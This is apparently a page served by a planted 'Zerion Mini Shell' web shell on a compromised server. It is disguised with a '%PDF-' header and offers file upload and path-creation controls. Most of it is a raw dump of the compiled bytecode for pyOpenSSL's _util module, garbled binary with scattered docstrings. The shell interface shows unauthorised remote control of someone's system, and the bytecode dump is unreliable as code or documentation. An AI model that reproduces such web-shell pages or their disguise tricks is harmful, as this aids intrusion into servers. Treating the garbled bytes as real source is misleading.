%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/OpenSSL/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/OpenSSL/__pycache__/_util.cpython-312.pyc

�

<#e�
��X�ddlZddlZddlZddlmZmZmZmZmZddl	m
Z
eeeejfZe
�Zej Zej"Zej%d��Zdedefd�Zd	eedefd
�Zdeedeegeffd�Zd
edefd�Zd
edefd�Ze�ZdZdededefd�Zy)�N)�Any�Callable�NoReturn�Type�Union)�BindingF)�should_clear_after_alloc�charp�returnc�P�|sytj|�jd�S)z�
    Get a native string type representing of the given CFFI ``char*`` object.

    :param charp: A C-style string represented using CFFI.

    :return: :class:`str`
    ��utf-8)�ffi�string�decode)r
s �//usr/lib/python3/dist-packages/OpenSSL/_util.py�textrs$�����:�:�e��#�#�G�,�,��exception_typec	��g}	tj�}|dk(rni|jttj	|��ttj|��ttj
|��f���||��)ac
    Convert an OpenSSL library failure into a Python exception.

    When a call to the native OpenSSL library fails, this is usually signalled
    by the return value, and an error code is stored in an error queue
    associated with the current thread. The err library provides functions to
    obtain these error codes and textual error messages.
    r)�lib�
ERR_get_error�appendr�ERR_lib_error_string�ERR_func_error_string�ERR_reason_error_string)r�errors�errors   r�exception_from_error_queuer"s����F�
��!�!�#���A�:���
�
��S�-�-�e�4�5��S�.�.�u�5�6��S�0�0��7�8�
�	
�	���
 � rrc�$��dtddf�fd�}|S)z~
    Create an assert function that uses :func:`exception_from_error_queue` to
    raise an exception wrapped by *error*.
    �okrNc�&��|durt��yy)zT
        If *ok* is not True, retrieve the error from OpenSSL and raise it.
        TN)r)r!rs �r�openssl_assertz#make_assert.<locals>.openssl_assertBs����T�>�&�u�-�r)�bool)rr#s` r�make_assertr%<s���.�4�.�D�.��r�sc��tj|�}t|t�r#|j	tj��S|S)z�
    Convert a Python path to a :py:class:`bytes` for the path which can be
    passed into an OpenSSL API accepting a filename.

    :param s: A path (valid for os.fspath).

    :return: An instance of :py:class:`bytes`.
    )�os�fspath�
isinstance�str�encode�sys�getfilesystemencoding)r&�bs  r�
path_bytesr0Ls8��	�	�	�!��A��!�S���x�x��1�1�3�4�4��rc�$�|jd�S)N�charmap)r,)r&s r�byte_stringr3]s���8�8�I��rz,str for {0} is no longer accepted, use bytes�label�objc��t|t�r@tjtj|�td��|jd�S|S)a�
    If ``obj`` is text, emit a warning that it should be bytes instead and try
    to convert it to bytes automatically.

    :param str label: The name of the parameter from which ``obj`` was taken
        (so a developer can easily find the source of the problem and correct
        it).

    :return: If ``obj`` is the text string type, a ``bytes`` object giving the
        UTF-8 encoding of that text is returned.  Otherwise, ``obj`` itself is
        returned.
    �)�category�
stacklevelr)r*r+�warnings�warn�
_TEXT_WARNING�format�DeprecationWarningr,)r4r5s  r�text_to_bytes_and_warnr?hsD���#�s���
�
�� � ��'�'��	
�
�z�z�'�"�"��Jr)r(r-r:�typingrrrrr�,cryptography.hazmat.bindings.openssl.bindingrr+�bytes�PathLike�StrOrBytesPath�bindingrr�
new_allocator�no_zero_allocatorr�	Exceptionrr$r%r0r3�object�UNSPECIFIEDr<r?�rr�<module>rLs���	�
��7�7�@��s�E�2�;�;�.�/��
�)��
�k�k��
�k�k���%�%�u�%�E��
-��
-��
-�!�t�I��!�8�!�4
�t�I��
�8�T�F�C�K�+@�
� �.��U��"�3��5���h��>�
��#��C��C�r

Zerion Mini Shell 1.0